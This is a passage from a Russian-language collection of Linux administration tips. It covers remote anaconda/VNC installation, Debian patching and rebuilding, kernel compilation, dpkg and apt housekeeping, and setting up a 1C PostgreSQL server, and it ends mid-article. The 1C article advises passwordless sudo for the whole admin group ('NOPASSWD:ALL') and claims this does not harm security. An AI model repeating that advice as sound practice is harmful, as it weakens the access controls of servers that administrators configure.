    ----* Удаленная установка CentOS или Fedora (доп. ссылка 1)   Автор: Andrew Okhmat  [комментарии]
     
    Хочу поделиться способом удаленной установки CentOS
    или Fedora. Используя возможности инсталлятора anaconda, можно упростить
    процедуру инсталляции или обновления операционной системы на удаленном сервере.
    Цитата из русскоязычной страницы проекта раскрывает некоторые возможности
    anaconda, которые мы будем использовать:
    
    "Anaconda является достаточно современным установщиком. Он позволяет выполнять
    установку с локальных или удаленных источников, таких как CD и DVD, образы
    размещенных на жестких дисках, NFS, HTTP и FTP. Может быть создан сценарий
    установки с помощью kickstart для обеспечения полностью автоматической
    установки, позволяющей дублировать систему на ряд компьютеров. Установка может
    быть запущена через VNC на компьютерах без монитора."
    
    Все описанное ниже подходит для любого дистрибутива Linux, использующего для
    загрузки grub. Примеры из статьи тестировались на grub 0.97, но после небольших
    изменений можно использовать и с grub2. Более того, этот способ использовался
    мной для замены FreeBSD на Linux, после установки grub в качестве загрузчика
    вместо стандартного Boot Manager.
    
    Подготовка состоит из 4-х шагов:
    
    
  • Определение сетевых настроек сервера;
  • Загрузка образов для выбранной OS;
  • Подготовка конфигурации и добавление ее в grub.conf;
  • Перезагрузка сервера и подключение к нему через VNC. Определение сетевых настроек сервера Нам понадобится IP адреса сервера, шлюза и DNS. Также понадобится MAC адрес основной сетевой карты. Его важно указывать в параметрах, если на сервере 2 сетевых карты, иначе есть вероятность, что инсталлятор выберет вовсе не ту, которая нам нужна. Для определения сетевых настроек можно воспользоваться следующими командами: ifconfig ip route show cat /etc/sysconfig/network-scripts/ifcfg-eth0 cat /etc/sysconfig/network cat /etc/resolv.conf в нашем примере это: Ip 172.17.17.232 Gateway 172.17.17.1 DNS 172.17.17.1 MAC 52:54:00:4a:25:b5 Загрузка образов CentOS и Fedora используют разные образы для старта инсталлятора. Надо выбрать соответствующие образы, в зависимости от того какой дистрибутив мы собираемся установить. Кроме того, если вы хотите установить 32х битную версию, то в url вам нужно заменить x86_64 на i386. Образы для centos 5.6 (x86_64): wget -O /boot/vmlinuz_remote http://mirrors.supportex.net/centos/5.6/os/x86_64/isolinux/vmlinuz wget -O /boot/initrd_remote.img http://mirrors.supportex.net/centos/5.6/os/x86_64/isolinux/initrd.img Образы для fedora 15 (x86_64): wget -O /boot/vmlinuz_remote http://download.fedora.redhat.com/pub/fedora/linux/releases/15/Fedora/x86_64/os/isolinux/vmlinuz wget -O /boot/initrd_remote.img http://download.fedora.redhat.com/pub/fedora/linux/releases/15/Fedora/x86_64/os/isolinux/initrd.img Подготовка конфигурации и добавление ее в grub.conf Укажем ранее сохраненные ip адреса сервера, шлюза и днс, а также url, откуда инсталлятор будет скачивать rpm пакеты. Дополнительные параметры, например, отсутствие монитора, выбор определенной сетевой карты и пароль для VNC. Если /boot раздел на диске не первый, то поправьте строчку root(hd0,0), она должна соответствовать номеру раздела. Добавляем эти строки в grub.conf для Centos 5.6: title Remote Install root (hd0,0) kernel /vmlinuz_remote lang=en_US keymap=us \ method=http://mirrors.supportex.net/centos/5.6/os/x86_64/ \ vnc vncpassword=SuperSecret ip=172.17.17.232 netmask=255.255.255.0 gateway=172.17.17.1 \ dns=172.17.17.1 noselinux ksdevice=52:54:00:4a:25:b5 headless xfs panic=120 initrd /initrd_remote.img Или для fedora 15: title Remote Install root (hd0,0) kernel /vmlinuz_remote lang=en_US keymap=us \ method=http://download.fedora.redhat.com/pub/fedora/linux/releases/15/Fedora/x86_64/os/ \ vnc vncpassword=SuperSecret ip=172.17.17.232 netmask=255.255.255.0 gateway=172.17.17.1 \ dns=172.17.17.1 noselinux ksdevice=52:54:00:4a:25:b5 headless xfs panic=120 initrd /initrd_remote.img Предполагается, что наша конфигурация идет вторым пунктом меню. Мы указали grub попробовать загрузить ее один раз. Если что-то пойдет не так, вернемся к ранее установленному дистрибутиву после перезагрузки, через 120 секунд. # echo 'savedefault --default=1 --once' | grub --batch Более подробно о всех загрузочных параметрах анаконды вы можете прочитать на этой страничке: http://fedoraproject.org/wiki/Anaconda/Options Перезагрузка сервера и подключение к нему по VNC Перезагружаем сервер и ждем, когда он начнет отвечать на ping. Потребуется некоторое время, пока загружаются дополнительные пакеты и можно будет присоединиться через vnc. Если канал не очень быстрый, это может занять до 20-30 минут. Подключаемся к серверу и делаем все как на локальной консоли: vncviewer 172.17.17.232:1 Если вы работаете из Windows, то можете воспользоваться TightVNC. Советы VNC-сервер запускается без keep-a-live, поэтому если вы подключаетесь через nat, то при долгой неактивности есть шанс потерять сессию и больше не восстановить ее. Лучше отключаться от vnc, а потом подключаться повторно, если VNC консоль долго не используется. Не стоит форматировать бутовый раздел как ext4, хотя это предлагают по умолчанию как Fedora, так и Centos. В некоторых случаях установленная операционная система отказывается загружаться с этого раздела. И хотя это бывает крайне редко, но лучше не рисковать. При установке Fedora в минимальной конфигурации сервис network оказывается не активированным. Это можно починить, добавив в параметры anacond-ы sshd и sshpw=password, указав свой пароль для ssh. После окончания интерактивной установки, перед самой перезагрузкой инсталлятора, зайти по ssh на удаленный сервер и активировать сервис network: # chroot /mnt/sysimage # chkconfig network on # exit Ссылки How to use Kickstart (Anaconda's remote control) Anaconda Anaconda Boot Options Install Fedora 14 Linux without a monitor (headless), keyboard and CD/DVD Installing Fedora Using PXE Images
  •  
    ----* Подготовка патчей для пакетов Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    При возникновении желания отправить исправление мейнтейнеру пакета Debian
    возникает вопрос, как правильно изменить код пакета и как отправить патч.
    
    1. Получаем последнюю версию пакета с исходным кодом и устанавливаем
    необходимые для его сборки зависимости.
    
    Одним из методов является использование утилиты  dget, входящей в состав пакета
    devscripts, которая позволяет напрямую загрузить пакет с исходным кодом по URL,
    который можно найти в dsc-файле, который можно загрузить из сисетмы трекинга пакетов.
    
    Если попытаться использовать  apt-get, временами может быть выведено
    предупреждение, что пакет обслуживается в системе управления версиями:
    
       $ apt-get source wordpress
       [...]
       NOTICE: 'wordpress' packaging is maintained in the 'Git' version control system at:
       git://git.debian.org/git/collab-maint/wordpress.git
       [...]
    
    В этом случае следует использовать утилиту debcheckout для загрузки кода
    напрямую из репозитория системы управления версиями:
    
       $ debcheckout wordpress
       declared git repository at git://git.debian.org/git/collab-maint/wordpress.git
       git clone git://git.debian.org/git/collab-maint/wordpress.git wordpress ...
       Cloning into wordpress...
    
    Дополнительно рекомендуется установить мета-пакет packaging-dev, установка
    которого повлечет за собой установку наборов инструментов, полезных для
    разработчиков пакетов.
    
    
    2. Внесение изменений.
    
    Для фиксации факта начала работы над внесением изменения в пакет пользователем,
    не являющимся мейнтейнером, выполним команду (NMU = Non Maintainer Upload):
    
       $ dch --nmu
    
    Этот шаг также позволит гарантировать, что после сборки пакета мы не перетрем
    загруженный ранее оригинальный пакет с исходными текстами.
    
    
    2.1. Изменяем служебные файлы пакета.
    
    Заходим в поддиректорию debian и правим при необходимости нужные файлы.
    Внесенные изменения отражаем путем выполнения команды dch (если изменений
    несколько утилиту нужно запустить несколько раз).
    
    
    2.2. Изменяем файлы оригинальной программы, поставляемой в пакете.
    
    При изменении файлов upstream-проекта имеет значение какой из форматов
    задействован в используемом пакете с исходными текстами ("1.0, "3.0 (quilt)"
    или "3.0 (native)", разница сводится к формированию одного большого патча или
    размещении каждого патча в отдельном файле), а также тип системы патчей (можно
    посмотреть запустив what-patch). В данной заметке рассматривается ситуация
    использования рекомендованного формата  "3.0 (quilt)" (рекомендации будут
    работать и для формата "1.0", но для этого нужно настроить ~/.quiltrc в
    соответствии с инструкцией /usr/share/doc/quilt/README.source)
    
    Применяем в коду оригинального проекта все патчи, выполнив:
    
       $ quilt push -a
    
    Если патчей в пакете ещё нет, создаем вручную поддиректорию debian/patches:
    
       $ mkdir debian/patches
    
    
    2.2.1. Импортируем существующий патч.
    
    Если изменения уже оформлены в upstream-проекте в виде патча, то импортировать
    данный патч можно следующим образом:
    
       $ quilt import -P fix-foobar.patch /tmp/patch
       Importing patch /tmp/patch (stored as fix-foobar.patch)
    
       $ quilt push
       Applying patch fix-foobar.patch
       [...]
       Now at patch fix-foobar.patch
    
    Опция "-P" позволяет выбрать на свое усмотрение имя для сохранения патча в
    директории debian/patches/. После выполнения указанных действий патч будет
    добавлен в директорию debian/patches/series, но пока не будет по умолчанию
    применен к коду.
    
    
    2.2.1. Создаем новый патч.
    
    Если изменения еще не оформлены в виде патча, нужно указать quilt о
    необходимости создать новый патч:
    
       $ quilt new fix-foobar.patch
       Patch fix-foobar.patch is now on top
    
    Далее указываем все файлы, которые будут изменены в результате нашей
    деятельности. Для каждого изменяемого файла запускаем "quilt add", после чего
    quilt создаст для каждого из этих файлов резервную копию, на основе оценки
    изменений с которой в последствии будет сгенерирован патч. Теперь правим любым
    удобным способом нужные файлы. Если файлы планируется отредактировать вручную,
    вместо "quilt add" можно запустить "quilt edit".
    
       $ quilt edit foobar.c
       File foobar.c added to patch fix-foobar.patch
    
    После того как все изменения внесены, генерируем патч:
    
       $ quilt refresh
       Refreshed patch fix-foobar.patch
    
    3. Тестируем внесенные изменения
    
    Собираем измененный пакет:
    
       $ debuild -us -uc
    
    проверяем его работоспособность, установив в систему через dpkg или debi.
    
    4. Генерируем патч для отправки мейнтейнеру.
    
    
    После выполнения всех ранее указанных шагов в директории должно находиться два
    .dsc-файла, изначальный и новый, например:
    
       $ cd ..
       $ ls wordpress_*.dsc
       ../wordpress_3.0.5+dfsg-1.1.dsc
       ../wordpress_3.0.5+dfsg-1.dsc
    
    Сгенерировать патч для отправки мейнтейнеру можно командой debdiff:
    
       $ debdiff wordpress_3.0.5+dfsg-1.dsc wordpress_3.0.5+dfsg-1.1.dsc >/tmp/wp-debdiff
    
    Для отправки патча /tmp/wp-debdiff мейнтейнеру можно использовать утилиту
    bugreport, указав в роли тега "patch". Для автоматизации отправки можно
    использовать утилиту nmudiff.
    
    
    Если работа осуществлялась с копией из системы управления исходными текстами
    (выполняли debcheckout), то вместо debdiff можно сгенерировать diff-файл
    встроенными средствами используемой системы контроля версий (git diff, svn diff
    и т.п). В случае использования распределенной системы контроля версий (git,
    bzr, mercurial) возможно следует оформить все модификации в виде отдельного
    набора изменений. Вместо отправки одного патча, возможно потребуется отправить
    серию патчей или отправить URL на изменений в публичном репозитории.
    
     
    ----* Компиляция Linux-ядра под заданный процессор в Debian/Ubuntu (доп. ссылка 1)   Автор: andrewlap  [комментарии]
     
    Пример компиляции ядра в таких  дистрибутивах как Debian и Ubuntu с целью
    задействования всех возможных оптимизаций для текущего процессора (core-duo).
    Все произведённые действия подойдут для ubuntu 9.10 - 10.10
    
    Для начала загрузим исходные тексты ядра и заголовочные файлы:
    
       sudo aptitude install linux-source-2.6 linux-headers
    
    Установим утилиты для компиляции ядра
    
       sudo aptitude install build-essential kernel-package libncurses-dev
    
    Полученное ядро нужно распаковать:
    
       cd /usr/src/
       sudo tar -xjf linux-source-*
    
    Все операции с ядром производятся в корне директории с исходными текстами ядра,
    поэтому недолго думая переходим туда:
    
       cd /usr/src/linux-source-*
    
    Создадим файл конфигурации текущего ядра командой
    
       sudo make oldconfig
    
    Эта команда создаст файл .config, где будут указаны опции ядра, используемого в
    данной системе. Эти настройки будут основой для наших настроек. Приступим к
    конфигурации ядра:
    
       sudo make menuconfig
    
    
    С помощью этой утилиты указываем необходимые нам опции. 
    Обращаю ваше внимание на следующую опцию:
    
       Processor type and features  ---> Processor family
    
    Здесь выбираем свой процессор. Остальные опции, которые мы взяли из ядра
    идущего с дистрибутивом вполне работоспособны для большинства применений,
    поэтому изменяйте их по своему усмотрению, или оставляйте как есть.
    
    Далее, выполним команду, которая удалит файлы (если они имеются), оставшиеся от
    предыдущей компиляции:
    
       sudo make-kpkg clean
    
    Далее компилируем ядро командой:
    
       sudo nice -n 19 make-kpkg --initrd --append-to-version=-mykernel kernel_image kernel_headers
    
    "nice -n 19" понизит приоритет компиляции на 19 пунктов
    Ключ "-append-to-version" используется, чтобы добавить к имени файла образа
    ядра, который мы получим после компиляции, строку "-mykernel", чтобы было проще
    идентифицировать свое ядро.
    
    И, через несколько минут/часов или может у кого то и дней, мы получим
    оптимизированное для нашей архитектуры ядро. На Celeron 3.06GHz это заняло два
    с половиной часа.
    
    Если всё пройдёт удачно, в итоге в /usr/src/  получим два deb-пакета
    linux-headers-*.deb и linux-image-*.deb, которые следует установить в систему:
    
       sudo dpkg -i linux-headers-*.deb linux-image-*.deb
    
    Установщик также обновит конфигурацию grub и поставит новое ядро во главе
    списка. Теперь можно перезагрузить в систему с новым ядром!
    
    
    
    Дополнение от pavlinux:
    
    При необходимости можно внести изменения в используемые опции компиляции для
    gcc c оптимизацией под нужный процессор. Опции задаются через переменные
    окружения HOSTCFLAGS и KBUILD_CFLAGS, например:
    
    
       export HOSTCFLAGS="-O99 -mtune=native -funroll-all-loops"
       export KBUILD_CFLAGS="-O99 -mtune=native -funroll-all-loops"
    
    или могут быть заданы в основном Makefile через переменные "HOSTCFLAGS" и
    "HOSTCXXFLAGS". В этих настройках нельзя указывать флаги оптимизации под
    конкретный процессор, можно использовать отлько общие параметры оптимизации,
    такие как  -06/-O99, -frecord-gcc-switches, -g0 -funroll-all-loops,
    -ftree-vectorize, -fno-inline-functions-called-once, -fmerge-all-constants и
    так далее.
    
    Для тонкой оптимизации под конкретный процессор нужно менять параметры в
    arch/x86/Makefile (под 32 бита в arch/x86/Makefile_32.cpu)
    там следует найти свой процессор, после строки "export BITS" есть тройка ifeq-else-endif
    
    Дописывать можно к последнему KBUILD_CFLAGS. Тут можно всё, кроме
    FPU/SSE/MMX/3DNOW, "-mcmodel=kernel" менять нельзя.
    
     
    ----* Удаление ненужных автоматически установленных пакетов в Debian и Ubuntu (доп. ссылка 1)   [комментарии]
     
    В процессе установки пакета, вместе с ним часто устанавливается и несколько
    зависимостей. Если после экспериментов данный пакет будет удален через команду
    "apt-get/aptitude remove" или через GUI-интерфейс, то дополнительно
    установленные зависимости останутся в системе, несмотря на то, что вызвавший их
    установку пакет уже удален и зависимости больше не используются. Для чистки
    подобных зависимостей удобно использовать команду "apt-get autoremove".
    
    Рассмотрим процесс чистки на примере.
    
       $ sudo apt-get install pino
    
       ...
       The following NEW packages will be installed:
         libdbusmenu-glib1 libgee2 libindicate4 libnotify1 notification-daemon pino
       ...
    
    Как видимо вместе с пакетом pino в систему будет установлено 4 новые библиотеки
    и демон нотификации. Всем этим пакетам будет присвоен флаг автоматической
    установки "automatically installed"
    
    Например:
    
       $ aptitude show libdbusmenu-glib1
    
       Package: libdbusmenu-glib1
       New: yes
       State: installed
       Automatically installed: yes
       Version: 0.3.7-1
       ...
    
    Посмотреть все автоматически установленные пакеты можно командой:
    
       $ apt-mark showauto 
    
    
    После удаления пакета pino через apt-get или synaptic все ранее установленные с
    ним дополнительные пакеты останутся в системе (aptitude удалит лишние
    зависимости при следующем запуске).
    
       $ sudo apt-get remove pino
       ...
       The following packages were automatically installed and are no longer required:
       notification-daemon libdbusmenu-glib1 libnotify1 libgee2 libindicate4
       Use 'apt-get autoremove' to remove them.
    
    Для оценки более не используемых зависимостей и удаления тех, что имеют метку
    автоматической установки можно использовать команду:
    
       $ sudo apt-get autoremove
    
       The following packages will be REMOVED:
       libdbusmenu-glib1 libgee2 libindicate4 libnotify1 notification-daemon
       0 upgraded, 0 newly installed, 5 to remove and 219 not upgraded.
       After this operation, 1307 kB disk space will be freed.
    
    
    Функцию удаления группы автоматически установленных пакетов можно использовать
    и при выполнении ручной чистки системы, для чего нужно вручную пометить
    ненужные пакеты, которые потом будут удалены при выполнении "apt-get
    autoremove", если они не присутствуют в списке зависимостей других пакетов. Это
    существенно снизит риск удаления нужного пакета по ошибке.
    
    Например, помечаем вручную библиотеку libxml-simple-perl:
    
       $ sudo apt-mark markauto libxml-simple-perl
    
    или
    
       $ sudo aptitude markauto libxml-simple-perl
    
    
    Тем не менее при маркировке нужно быть осторожным и не помечать первичные
    пакеты. Например, пометив пакет gnome и выполнив "apt-get autoremove" будет
    удалены все связанные с GNOME пакеты.
    
    Отменить пометку можно командой unmarkauto:
    
       $ sudo apt-mark unmarkauto gnome-session gnome-panel
    
     
    ----* Пересборка пакетов в Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    Иногда в Debian Stable нужно установить более новую версию пакета из Testing,
    который не был перенесен в backports.
    
    
    1. Загрузка пакета с исходными текстами
    
    Проверяем чтобы в /etc/apt/sources.list были активированы репозитории deb-src:
    
       deb-src http://ftp.debian.org/debian unstable main contrib non-free
       deb-src http://ftp.debian.org/debian testing main contrib non-free
       deb-src http://ftp.debian.org/debian stable main contrib non-free
    
    Для загрузки самых свежих исходных текстов пакета "publican" следует выполнить
    
       sudo apt-get update 
       apt-get source publican
    
    Если необходимо установить исходные тексты пакета из определенной ветки
    дистрибутива, например, Debian Testing, что является разумным компромиссом
    между свежестью и стабильностью:
    
       apt-get source publican/testing
    
    Исходные тексты будут сохранены в текущую директорию:
    
       ls -dF publican*
    
       publican-2.1/                 publican_2.1-2.dsc
       publican_2.1-2.debian.tar.gz  publican_2.1.orig.tar.gz
    
    В случае, когда пакет отсутствует в репозиториях, загрузить пакет можно командой:
    
       dget -u dsc-url
    
    где dsc-url представляет собой URL к .dsc-файлу с описанием параметров пакета,
    опция "-u" указывает на отмену стадии проверки валидности пакета. Для получения
    утилиты dget нужно установить пакет.
    
    
    2. Установка зависимостей
    
    Для установки пакетов, необходимых для сборки заданной программы,  следует
    использовать команду "apt-get build-dep пакет", например:
    
       apt-get build-dep publican/testing
    
    Если пакет взят не из репозитория, то для выполнения аналогичного действия в
    директории с исходными текстами пакета нужно выполнить команду:
    
       dpkg-checkbuilddeps
    
    которая выведет список задействованных при сборке пакетов, которые затем нужно
    установить через "apt-get install".
    
    3. Изменение исходных текстов перед сборкой
    
    При необходимости код собираемой программы можно модифицировать, например,
    приложить дополнительный патч или отредактировать debian/rules. При внесении
    изменений во избежание конфликтов рекомендуется изменить номер версии,
    используя команду dch из пакета devscripts:
    
       dch --local имя
    
    где "имя" является коротким именем, идентифицирующим вносящего изменение. После
    выполнения команды будет предложено указать комментарий для помещения в debian/changelog.
    
    4. Сборка пакета
    
    Для сборки в директории с распакованным кодом выполняем команду debuild из пакета devscripts.
    
       cd publican-2.1
       debuild -us -uc
    
    где опции "-us -uc" указывают пропустить связанный с проверкой сигнатур шаг, в
    случае если у сборщика отсутствует валидный GPG-ключ, совпадающий с данными
    вначале файла changelog.
    
    После завершения сборки в предыдущей директории можно будет найти бинарный пакет:
    
       cd ..
       ls -dF publican*
    
       publican-2.1/                    publican_2.1-2rh1.dsc
       publican_2.1-2.debian.tar.gz     publican_2.1-2rh1_i386.changes
       publican_2.1-2.dsc               publican_2.1-2rh1_source.changes
       publican_2.1-2rh1_all.deb        publican_2.1.orig.tar.gz
       publican_2.1-2rh1.debian.tar.gz
    
     
    ----* Экономия дискового пространства путем исключения маловажных файлов через dpkg (доп. ссылка 1)   [комментарии]
     
    В составе большинства deb-пакетов содержатся данные, которые никогда не
    понадобятся пользователю, например, файлы с переводами элементов интерфейса на
    другие языки или документация. Начиная с версии 1.15.8 в dpkg появилась
    возможность не устанавливать лишние данные.
    
    Для контроля за тем, какую информацию установить, а какую нет, предусмотрены
    две опции: --path-include=маска и --path-exclude=маска. В качестве маски могут
    быть использованы любые glob-выражения, допустимые в shell (man glob).
    
    Так как обычно для установки используются высокоуровневые утилиты, подобные
    apt, вызывать dpkg вручную и задавать дополнительные опции не совсем удобно.
    Поэтому логичнее изменить методику вызова dpkg в системе, создав
    соответствующую инструкцию в каталоге /etc/dpkg/dpkg.cfg.d/.
    
    Например, создадим файл etc/dpkg/dpkg.cfg.d/excludes, в котором зададим маски
    для включаемых и исключаемых каталогов, на примере ограничения установки
    локалей и системных руководств:
    
       # Не устанавливаем локали за исключением русских:
       path-exclude=/usr/share/locale/*
       path-include=/usr/share/locale/ru/*
       path-include=/usr/share/locale/locale.alias
    
       # Не устанавливаем переводы системных руководств, за исключением перевода на русский язык
       path-exclude=/usr/share/man/*
       path-include=/usr/share/man/man[1-9]/*
       path-include=/usr/share/man/ru*/*
    
    Следует иметь в виду, что все ранее установленные части пакета, подпадающие под
    маску исключения, будут удалены только после обновления пакета. Т.е. если
    необходимо освободить место немедленно, не дожидаясь появления обновлений,
    можно инициировать переустановку всех пакетов в системе:
    
       aptitude reinstall
    или
       apt-get --reinstall install
    
     
    ----* Настройка альтернатив в Debian на примере смены браузера по-умолчанию в GNOME (доп. ссылка 1)   Автор: Сергей Афонькин  [комментарии]
     
    В GNOME браузером по-умолчанию является Epiphany и если открывать html-файлы с
    диска, то они откроются в Epiphany. Для того, чтобы файлы открывались в
    Iceweasel (Firefox) достаточно в командной строке выполнить:
    
        sudo update-alternatives --config gnome-www-browser
    
            1  /usr/bin/iceweasel
         *  2  /usr/bin/epiphany-gecko
            3  /usr/bin/konqueror
            4  /usr/bin/midori
            5  /usr/bin/opera
            6  /usr/bin/google-chrome
    
    
    Отобразились 2 альтернативы, выступающие в роли "gnome-www-browser".
    Нажмите enter, чтобы сохранить значение по умолчанию "*", или введите выбранное
    число: вводим цифру 1 и нажимаем Enter.
    
    Можно также задать браузер для X-ов, следующей командой:
    
        sudo update-alternatives --config x-www-browser
    
    Другие полезные альтернативы (полный список можно посмотреть в директории /etc/alternatives/):
    
       update-alternatives --list java
       update-alternatives --list editor
       update-alternatives --list pager
       update-alternatives --list ftp
    
    
    Для установки альтернативы для определенной группы можно использовать такую команду:
    
       update-alternatives --set editor /usr/bin/emacs
    
    в данном случае устанавливаем в качестве текстового редактора по умолчанию emacs
    
    
    Для добавления собственной альтернативы можно использовать команду:
    
       update-alternatives --install /usr/bin/vi2 editor /usr/local/bin/vim2 50
    
    где, имя итогового альтернативного файла /usr/bin/vi2, editor - имя группы,
    /usr/local/bin/vim2 - путь к добавляемой в число альтернатив программе, 50 - приоритет.
    
    Для удаления:
    
      update-alternatives --remove editor /usr/bin/vi2
    
     
    ----* Обновление Fedora/RHEL/Suse/Mandriva без обновления ядер   Автор: Artem Tashkinov  [комментарии]
     
    Очень многие пользователи и системные администраторы используют дистрибутивы
    Fedora/RHEL/Suse/Mandriva с ядром собственной сборки и поэтому обновление или
    установка ядра от вендора не является желанным.
    
    Избежать установки ядер при обновлении можно следующим образом. Создайте файл
    kernel.spec, определяющий пакет с заведомо более новой фиктивной версией ядра,
    (данный вариант на 100% работает только на Fedora/RHEL) со следующим содержимым:
    
       Name:           kernel
       Summary:        The Linux kernel
       Version:        2.6.100
       Release:        1
       License:        GPLv2+
       Group:          System Environment/Kernel
       URL:            http://www.kernel.org/
       Packager:       Artem S. Tashkinov
    
       %description
       The kernel package contains the Linux kernel (vmlinuz), the core of any
       Linux operating system.  The kernel handles the basic functions
       of the operating system: memory allocation, process allocation, device
       input and output, etc.
    
       %prep
    
       %build
    
       %install
    
       %clean
    
       %files
    
       %changelog
       * Thu Jul 8 2010 Artem S. Tashkinov <birdie@permonline.ru> 2.6.100
       - First indefinite release (unless kernel developers
      change kernel versioning)
    
    Затем соберите и установите его с помощью следующих команд:
    
       $ rpm -ba kernel.spec
       $ rpm -ivh ~/rpmbuild/RPMS/`rpm --eval '%_target_cpu'`/kernel-2.6.100-1.i686.rpm
    
     
    ----* Установка сервера для 1С:Предприятия 8 и PostgreSQL 8.4 на Ubuntu 10.04 LTS   Автор: Игорь Вершинин  [комментарии]
     
    Задача, казалось, несложной - необходимо установить выделенный сервер на новой
    версии Ubuntu, самостоятельно скомпилировать PostgreSQL из исходников,
    установить далее две версии серверной части 1С:Предприятия 8.1 и 8.2. Но, при
    решении задачи всплыло много нюансов.
    
    Брать готовый бинарник от EterSoft'а оказалось неверным - общая компиляция под
    Mandriva, затем препарирование полученного через alien. Нарушается логика
    расположения файлов конфигурации и библиотек в Ubuntu, плюс отставание от
    текущего положения дел (уже вышла версия 8.4.4 PostgreSQL, а на ftp.etersoft.ru
    лежит лишь 8.4.2). Я понимаю, что лучшее враг хорошего, но хочется самому
    делать выводы, что лучшее, и что хорошее. Поэтому принято решение
    самостоятельно собрать PostgreSQL с необходимыми патчами.
    
    Серверные части 1С:Предприятия также написаны в расчете на некий
    средне-универсальный дистрибутив Linux, но тут хотя бы честно. Все ставится в
    /opt, конфигурационные файлы прописываются в /etc/init.d и домашней директории
    пользователя usr1cv82(1). Да и изменить мы ничего не можем - доступа к
    исходникам нет.
    
    Итак. Собираем сам сервер. Корпус, материнская плата, процессор, планки памяти,
    два одинаковых жестких диска... Я собрал программный RAID1 (зеркало) для
    надежности хранения (все-таки собирается для "продакшн"), но это совершенно не
    обязательно. Что обязательно - установка 64-битной версии, объем оперативной
    памяти для любой СУБД критичен (а 32-битные версии ограничены 4 гигабайтами),
    благо это сейчас совершенно недорого. Я установил 8 гигабайт. В общем,
    выбирайте сами. Привод оптических дисков в сервер ставить смысла нет никакого,
    загрузку можно провести через USB flash, а на будущее выделенному серверу
    привод совершенно ни к чему - все необходимое докачивается из репозитариев или
    копируется через утилиту scp.
    
    Скачиваем образ сервера с http://www.ubuntu.com, там же подробнейшая инструкция
    как сделать загружаемую USB flash из-под любой операционной системы.
    Загружаемся, инсталлируем. Несколько обязательный комментариев. В принципе,
    ничего сложного в процессе инсталляции нет, все подробно расписано. Но!
    
    * Выбираем обязательно русский язык, чтобы сервер автоматически настроился на
    использование русской локали (принципиально для первоначального запуска
    патченной версии PostgreSQL, да и системные сообщения на русском не лишние)
    
    * Обязательное подключение к Интернету. По ходу дела, программа инсталляции
    несколько раз докачивает недостающие пакеты, плюс нам нужен доступ к
    репозитариям для дальнейшей работы.
    
    * В момент попытки получения ip-адреса по dhcp процедуру лучше прервать
    (особенно если в это время в сети работает dhcp-сервер) или на следующем экране
    выбрать "Возврат". Все-таки сервер, должен иметь фиксированный адрес и имя.
    Задаем его самостоятельно.
    
    * Из предлагаемого дополнительного софта ставим лишь OpenSSH, остальное после и самостоятельно.
    
    После инсталляции перезагрузка, вытаскиваем "флэшку" (она больше не нужна), не
    забываем в BIOS'е установить AHCI - жесткие диски работают быстрее.
    
    После новой установки первым делом:
    
      sudo apt-get install mc
    
    Надо как-то работать в консоли. Затем:
    
      sudo visudo (или воспользуемся редактором из mc)
    
    Добавляем директиву NOPASSWD:ALL для группы %admin, приведя последнюю строку к виду:
    
      %admin ALL=(ALL) NOPASSWD:ALL
    
    Это нам необходимо, чтобы каждый раз не вводить свой пароль для sudo. Так как к
    консоли сервера кроме администратора никто доступ не имеет (теоретически), то и
    безопасность это не нарушает. Правилом хорошего тона считается разлогинится
    после работы. А доступ к консоли без знания пароля получить нельзя, так что
    если кто и узнает ваш пароль, то и команду sudo выполнит легко. Таким образом,
    ничего кроме дополнительной потери времени и нервов постоянное парольное
    подтверждение не дает.
    
    Обновляем установку:
    
       apt-get update
       apt-get upgrade
    
    Перезагружаемся, потому как ядро обновится на более свежее.
    Устанавливаем NTP-сервер. Время на всех серверах должно быть синхронизировано,
    иначе в логах потом не разберешься.
    
       apt-get install ntp
    
    В /etc/ntp.conf исправляем строку "server ntp.ubuntu.com" на вашу. Если в
    локальной сети есть уже работающий сервер времени (у нас это сервер, отвечающий
    за proxy), то укажите его адрес. Через некоторое время сервер синхронизирует
    время. Если нет, оставьте, пусть компании Canonical будет приятно.
    
    Подготовительные работы окончены. Приступаем к сборке. Скачиваем с
    http://v8.1c.ru/overview/postgres_patches_notes.htm три патча:
       1c_FULL_84-0.19.2.patch
       postgresql-1c-8.4.patch
       applock-1c-8.4.1.patch
    
    Пусть вас не смущает то, что патчи для версии 8.4.1 - они отлично становятся и
    на более старшие версии PostgreSQL (в рамках версии 8.4). Все минорные
    исправления не затрагивают того, что патчит фирма "1С".
    
    На сервере в домашнем каталоге пользователя-администратора создаем директорию
    "1С". Копируем в нее любым удобным для нас способом (я использовал scp со своей
    рабочей станции, можно перекинуть через собственный ftp или через "флэшку") эти
    три патча. Переименовываем их, добавляя перед названием "20-",
    "21-" и "22-", т. е. приводим их к виду:
    20-1c_FULL_84-0.19.2.patch, 21-postgresql-1c-8.4.patch, 22-applock-1c-8.4.1.patch
    
    Переходим в директорию "1С" и скачиваем туда исходники PostgreSQL:
    
       apt-get source postgresql
    
    После скачивания архивы автоматически распакуются, будут наложены специфичные
    для Ubuntu патчи (что очень хорошо, так как итоговая сборка будет "родной").
    Входим в этот каталог. Затем копируем наши патчи в каталог "/debian/patches/".
    Далее нам предстоит исправить три файла, ответственных за правильную сборку
    пакета. Все три файла содержаться в каталоге "debian".
    
    Файл "changelog". Отвечает за правильное наименование пакетов после сборки.
    Добавляем туда следующие строки в начало файла любым текстовым редактором
    (например, через mc):
    
      postgresql-8.4 (18.4.4-ailant-0ubuntu10.04) lucid; urgency=low
      * Apply 1C patch for PostgreSQL (from 8.4.1 version)
        - add mchar, fulleq, fasttrun
      -- Igor Vershinin <ivershinin@ailant.com.ru>  Fri, 04 Jun 2010 00:53:03 +0400
    
    Версию устанавливаем как 18.4.4, чтобы в дальнейшем она самостоятельно не
    обновилась при апдейте системы. Если будут наши исправления, то всегда возможно
    скачать новые исходники и повторить с ними операцию, описанную в этой статье,
    увеличив номер сборки (например,  18.4.4-ailant-1ubuntu10.04).
    
    Следующий файл "control". Необходимо добавить зависимость от библиотеки
    "libicu42" (требуется для патча от "1С"). В секции "Build-Depends" (в начале
    файла) в конце списка добавляем ", libicu-dev".
    Целиком строка будет выглядеть вот так:
    
       bison, flex, docbook-utils, openjade, docbook, libicu-dev
    
    И последний файл "postgresql-contrib-8.4.install". В него необходимо добавить
    строки с именами 1С-овских модулей: mchar, fulleq и fasttrun. После строк:
    
      usr/lib/postgresql/8.4/lib/pg_stat_statements.so
      usr/lib/postgresql/8.4/lib/citext.so
      usr/lib/postgresql/8.4/lib/btree_gin.so
    
